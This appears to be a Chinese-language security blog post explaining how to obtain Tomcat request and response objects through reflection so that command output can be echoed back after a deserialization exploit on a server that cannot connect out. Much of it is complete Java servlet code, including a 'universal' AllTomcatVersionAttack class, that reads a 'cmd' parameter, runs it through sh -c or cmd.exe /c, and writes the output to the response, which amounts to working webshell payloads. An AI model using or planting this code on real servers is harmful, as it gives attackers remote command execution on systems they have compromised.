java回显技术
所谓回显,其实就是获取命令执行的结果,这种技术常用于目标机器不出网,无法反弹shell的情况。对于Java的中间件来讲,其关键就是获取request和response对象。
通过JSP文件来注入的内存马,由于JSP中内置了一些关键对象,所以我们能够很容易地获得Request和Response对象,并能通过他们来获取目标JVM的上下文Context。那如果我们要通过反序列化漏洞来注入内存马,又如何获取到目标JVM的request和response对象呢?
ThreadLocal Response回显
Kingkk 师傅提出的 “Tomcat中一种半通用回显方法”。原文链接:Tomcat中一种半通用回显方法 - 先知社区 (aliyun.com)
分析
首先,我们应该关注的是,所需的 request 对象必须是与当前线程的 ThreadLocal 相关,而不是一个全局的变量。这样才能确保我们能够获取当前线程的信息。最终,在 org.apache.catalina.core.ApplicationFilterChain
类中,我们会发现两个静态属性:lastServicedRequest
和 lastServicedResponse
。由于是静态变量,因此,访问这些属性时,无需创建实例。
在ApplicationFilterChain#internalDoFilter
中,Tomcat会有一段将request对象和response对象存储到这两个变量中的操作。
Tomcat在处理我们的Servlet以及SpringBoot处理Controller逻辑之前,都会来到ApplicationFilterChain#internalDoFilter
中,只要我们让 ApplicationDispatcher.WRAP_SAME_OBJECT
的值为true,就可以将request和response存储到这两个变量中。
虽然此时的ApplicationDispatcher.WRAP_SAME_OBJECT
为false
,但是我们后续可以通过反射修改。
可以总结思路如下
- 反射修改
ApplicationDispatcher.WRAP_SAME_OBJECT
的值,通过ThreadLocal#set
方法将request和response对象存储到变量中
- 初始化
lastServicedRequest
和lastServicedResponse
两个变量,默认为null
- 通过
ThreadLocal#get
方法将request和response对象从*lastServicedRequest
和lastServicedResponse
*中取出
编写Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| package cmisl;
import org.apache.catalina.core.ApplicationFilterChain;
import javax.servlet.ServletRequest; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.lang.reflect.Field; import java.lang.reflect.Modifier;
@WebServlet("/echo") public class Tomcat_Echo extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) { try { Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); WRAP_SAME_OBJECT_FIELD.setAccessible(true); lastServicedRequestField.setAccessible(true); lastServicedResponseField.setAccessible(true);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) { WRAP_SAME_OBJECT_FIELD.setBoolean(null, true); }
if (lastServicedRequestField.get(null) == null) { lastServicedRequestField.set(null, new ThreadLocal<>()); }
if (lastServicedResponseField.get(null) == null) { lastServicedResponseField.set(null, new ThreadLocal<>()); }
if (lastServicedRequestField.get(null) != null) { ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null); ServletRequest servletRequest = (ServletRequest) threadLocal.get(); System.out.println(servletRequest); System.out.println((HttpServletRequest) servletRequest == req);
} } catch (Exception e) {
} } }
|
我们这里断点需要在第二次请求的时候断下来。因为第一次ApplicationDispatcher.WRAP_SAME_OBJECT
为false,无法进入ThreadLocal#set
方法将request和response对象存储到变量中。所以需要第一次请求反射将判断修改为true。第二次才能从ThreadLocal
中获取request和response。
命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| package cmisl;
import org.apache.catalina.core.ApplicationFilterChain;
import javax.servlet.Servlet; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; import java.lang.reflect.Field; import java.lang.reflect.Modifier; import java.util.Scanner;
@WebServlet("/exec") public class Tomcat_Exec extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) { try { Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); WRAP_SAME_OBJECT_FIELD.setAccessible(true); lastServicedRequestField.setAccessible(true); lastServicedResponseField.setAccessible(true);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) { WRAP_SAME_OBJECT_FIELD.setBoolean(null, true); }
if (lastServicedRequestField.get(null) == null) { lastServicedRequestField.set(null, new ThreadLocal<>()); }
if (lastServicedResponseField.get(null) == null) { lastServicedResponseField.set(null, new ThreadLocal<>()); }
ServletRequest servletRequest=null; ServletResponse servletResponse=null;
if (lastServicedRequestField.get(null) != null) { ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null); servletRequest = (ServletRequest) threadLocal.get(); }
if (lastServicedResponseField.get(null) != null) { ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null); servletResponse = (ServletResponse) threadLocal.get(); }
String cmd = servletRequest.getParameter("cmd"); servletResponse.setCharacterEncoding("GBK"); if(cmd!=null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")){ isLinux = false; } String[] commands = isLinux ? new String[]{"sh","-c",cmd}:new String[]{"cmd.exe","/c",cmd}; InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream(); Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); servletResponse.getWriter().close();
} }catch (Exception e) {
} } }
|
回显报错(getWriter重复使用报错)
别的师傅那看到的,自己并未遇到。如果遇到可以参考原文Java 回显技术 | Drunkbaby’s Blog (drun1baby.top)
在使用response的getWriter
函数时,usingWriter 变量就会被设置为true。如果在一次请求中usingWriter
变为了true那么在这次请求之后的结果输出时就会报错
报错内容如下,getWriter
已经被调用过一次
1
| >java.lang.IllegalStateException: getWriter() has already been called for this response
|
这时候有两种解决办法:
- 在调用完一次
getWriter
反射修改usingWriter的值为false
- 使用
getOutputStream
代替
局限性
如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显。如Shiro RememberMe反序列化漏洞,因为Shiro的RememberMe功能实际上就是一个自定义的Filter。我们知道在ApplicationFilterChain#internalDoFilter
方法中,doFilter方法实际上是在我们获取response之前的。触发Shiro漏洞漏洞的时候,我们还未能将request和response储存到ThreadLocal中。因此在Shiro漏洞环境下我们无法通过这种方式获得回显。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { Filter filter = filterConfig.getFilter(); ... filter.doFilter(request, response, this); } catch (...) ... } } try { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); } if (...){ ... } else { servlet.service(request, response); } } catch (...) { ... } finally { ... }
|
通过全局存储Response回显
Litch1师傅的一种思路。原文链接:基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (qq.com)
在Java Web开发中,Servlet容器是核心组件,许多框架在其基础上做了不同程度的封装。这使得因为不同框架或不同版本的实现差异,很难找到一种通用的方法来获取回显信息。例如,上文使用 ThreadLocal
类在 Shiro 框架中获取回显的方法可能无效。
因此,我们或许可以从另一个角度入手,尝试在 Tomcat 中寻找全局存储的 Request
和 Response
对象。为了实现回显功能,这些 Request
和 Response
对象必须属于当前执行的线程。因此,关键在于找到当前代码运行的上下文与Tomcat的运行上下文之间的关联。
分析
我们可以看一下调用栈,追踪response,我们可以找到org.apache.catalina.connector.CoyoteAdapter
的service
方法。当前response的hash值和我们在doGet方法中HttpServletResponse
的response一样。
而这个response来自于org.apache.coyote.http11.Http11Processor
的this.response
,经过一些setter和getter方法调整得来的。而org.apache.coyote.http11.Http11Processor
的this.response
其实并非是他本身的,而是来自org.apache.coyote.AbstractProcessor
的this.response
。
调用堆栈如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| doGet:22, Tomcat_Exec (cmisl) service:529, HttpServlet (javax.servlet.http) service:623, HttpServlet (javax.servlet.http) internalDoFilter:209, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) doFilter:51, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) invoke:168, StandardWrapperValve (org.apache.catalina.core) invoke:90, StandardContextValve (org.apache.catalina.core) invoke:481, AuthenticatorBase (org.apache.catalina.authenticator) invoke:130, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:670, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:342, CoyoteAdapter (org.apache.catalina.connector) service:390, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:928, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1794, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:52, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:750, Thread (java.lang)
|
这时候已经有了request,response,接下来往前寻找有没有哪里存储了这个Processor?或者是哪里对于Processor的Request等信息进行了存储?可以发现在之前的调用链中的AbstractProtocol
的内部类ConnectionHandler
中在处理的时候就将当前的Processor(即后面的Http11Processor
)的信息通过register
方法存储在了global中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| protected void register(Processor processor) { if (this.getProtocol().getDomain() != null) { synchronized(this) { try { long count = this.registerCount.incrementAndGet(); RequestInfo rp = processor.getRequest().getRequestProcessor(); rp.setGlobalProcessor(this.global); ...... } ...... } catch (Exception var8) { ...... } } } }
|
详细来说,就是获取Http11Processor
的Request的RequestInfo变量,而RequestInfo变量里又有Request本身,获取RequestInfo之后rp.setGlobalProcessor(this.global)
方法里把这个RequestInfo添加到global这个变量里面。
那么我们获取了global就相当于获取了RequestInfo,通过RequestInfo又可以获取包含它的Request。那么Response又怎么获取呢?其实Response可以从Request中获取,因为在我们Http11Processor初始化的时候,就会在调用父类AbstractProcessor初始化函数过程中,把request设置了参数response。
至此我们的调用链如下
1
| AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response
|
现在我们的工作就是获取AbstractProtocol类或者继承AbstractProtocol的类,继续看调用链。在CoyoteAdapter类中,存在一个connector属性。我们来看Connector类的定义,存在和AbstractProtocol相关的protocolHandler
属性,该属性的值为一个Http11NioProtocol
对象,并且该类继承了AbstractProtocol类
此时我们的调用链变成如下
1
| Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response
|
下面就是获取Connector了,Tomcat在启动时会通过StandardService创建Connector,并且调用addaddConnector方法存放在connectors中
那么现在的获取链变成了
1
| StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response
|
connectors同样为非静态属性,那么我们就需要获取在Tomcat中已经存在的StandardService对象,而不是新创建的对象。
如何获取StandardService
Tomcat的类加载机制并不是传统的双亲委派机制,因为传统的双亲委派机制并不适用于多个Web App的情况。
假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader。
那么如何破坏Java原有的类加载机制呢?如果上层的ClassLoader需要调用下层的ClassLoader怎么办呢?就需要使用Thread Context ClassLoader,线程上下文类加载器。Thread类中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器,如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。
说了那么多,其实WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一。
我们debug看看Thread.currentThread().getContextClassLoader()里面都有啥东西,这里只要稍微搜寻一下就会发现有很多Tomcat有关的运行信息。我们只要寻找我们上文提到的需要的Service就可以了。
最后的路径:
WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response。
命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| package cmisl;
import org.apache.catalina.connector.Connector; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.core.StandardService; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.coyote.*; import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.util.List; import java.util.Scanner;
@WebServlet("/echo") public class Tomcat_Echo extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) { try { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field ApplicationContext_Field = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"); ApplicationContext_Field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) ApplicationContext_Field.get(standardContext);
Field StandardService_Field = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"); StandardService_Field.setAccessible(true); StandardService standardService = (StandardService) StandardService_Field.get(applicationContext);
Field connectors_Field = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors"); connectors_Field.setAccessible(true); Connector[] connectors = (Connector[]) connectors_Field.get(standardService); Connector connector = connectors[0];
ProtocolHandler protocolHandler = connector.getProtocolHandler(); Field handler_Field = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler"); handler_Field.setAccessible(true); AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handler_Field.get(protocolHandler);
RequestGroupInfo global = (RequestGroupInfo) handler.getGlobal(); Field processors_Field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); processors_Field.setAccessible(true); List<RequestInfo> requestInfos = (List<RequestInfo>) processors_Field.get(global);
for (RequestInfo requestInfo : requestInfos) { Field req_Field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); req_Field.setAccessible(true); org.apache.coyote.Request request = (org.apache.coyote.Request) req_Field.get(requestInfo);
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1); org.apache.catalina.connector.Response http_response = http_request.getResponse();
String cmd = http_request.getParameter("cmd"); http_response.setCharacterEncoding("GBK"); if (cmd != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream(); Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; http_response.getWriter().write(output); http_response.getWriter().flush(); http_response.getWriter().close();
} } } catch (NoSuchFieldException e) { throw new RuntimeException(e); } catch (ClassNotFoundException e) { throw new RuntimeException(e); } catch (IllegalAccessException e) { throw new RuntimeException(e); } catch (IOException e) { throw new RuntimeException(e); } } }
|
Tomcat版本问题
刚才在一开始获取Tomcat ClassLoader context提到这种方式只适用于Tomcat 8和9的低版本中,原因如下
可以看到高版本WebappClassLoaderBase#getResources
方法,返回null。自然无法获取StandardService了。
高版本Tomcat 8和9
低版本Tomcat 8和9
通过NioEndpoint通杀Tomcat8和9的高低版本。具体参考Java 回显技术 | Drunkbaby’s Blog (drun1baby.top)
言简意赅就是我们需要的AbstractProtocol$ConnectoinHandler
属性的Handler也存在于NioEndpoint中。如果能获取到NioEn
通过Acceptor获取NioEndpoint
遍历线程,获取线程中的target属性,如果该target是Acceptor类的话则其endpoint属性就是NioEndpoint 对象。
1
| Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response
|
通过poller获取NioEndpoint
遍历线程,获取线程中的target属性,如果target属性是 NioEndpoint$Poller 类的话,通过获取其父类 NioEndpoint,进而获取到 AbstractProtocolConnectoinHandler。
1
| Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response
|
通用版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| package cmisl;
import org.apache.catalina.connector.Response; import org.apache.catalina.connector.ResponseFacade; import org.apache.coyote.RequestGroupInfo; import org.apache.coyote.RequestInfo; import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field;
import java.util.Scanner;
@WebServlet("/AllTomcat") public class AllTomcatVersionAttack extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try { ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); Field threadsField = ThreadGroup.class.getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(threadGroup);
for(Thread thread:threads) { Field targetField = Thread.class.getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(thread); if( target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class ) { Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint"); endpointField.setAccessible(true); Object endpoint = endpointField.get(target); Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler"); handlerField.setAccessible(true); Object handler = handlerField.get(endpoint);
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global"); globalField.setAccessible(true); RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); processors.setAccessible(true); java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); reqField.setAccessible(true); for (RequestInfo requestInfo : RequestInfolist) { org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request) reqField.get(requestInfo); org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) coyoteReq.getNote(1); org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();
String cmd = connectorRequest.getParameter("cmd"); connectorResponse.setCharacterEncoding("GBK");
if (cmd != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream(); Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; connectorResponse.getWriter().write(output); connectorResponse.getWriter().flush(); connectorResponse.getWriter().close();
} } } }
} catch (Exception e) { e.printStackTrace(); }
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doPost(request, response); } }
|
Ref
Tomcat中一种半通用回显方法 - 先知社区 (aliyun.com)
Java 回显技术 | Drunkbaby’s Blog (drun1baby.top)
Java安全学习——内存马 - 枫のBlog (goodapple.top)
基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (qq.com)